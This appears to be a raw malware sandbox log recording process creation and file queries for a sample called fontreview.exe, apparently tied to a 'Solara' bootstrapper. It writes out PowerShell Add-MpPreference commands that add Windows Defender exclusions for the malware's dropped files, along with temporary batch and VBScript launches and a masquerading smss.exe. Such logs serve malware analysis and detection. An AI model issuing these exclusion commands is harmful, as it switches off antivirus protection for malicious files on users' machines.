Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\hKSsSsDflU.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
Source: C:\Program Files\Uninstall Information\smss.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\d5cQTyHbvx.bat"
Source: C:\Program Files\Uninstall Information\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Process created: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe "c:\program files (x86)\microsoft\edgewebview\application\117.0.2045.47\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --user-data-dir="c:\users\user\appdata\local\temp\solara.dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.webview2\ebwebview" --noerrdialogs --embedded-browser-webview-dpi-awareness=1 --edge-webview-custom-scheme --enable-features=mojoipcz --mojo-named-platform-channel-pipe=8236.8364.12592772921388262900

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_0078ED5B cpuid

4_2_0078ED5B

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: GetLocaleInfoW,GetNumberFormatW,

4_2_0078A63C

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Queries volume information: C:\Users\user\AppData\Roaming\Bootstrapper.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Queries volume information: C:\ProgramData\SolaraBootstrapper.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Media\fontreview.exe	Queries volume information: C:\Media\fontreview.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
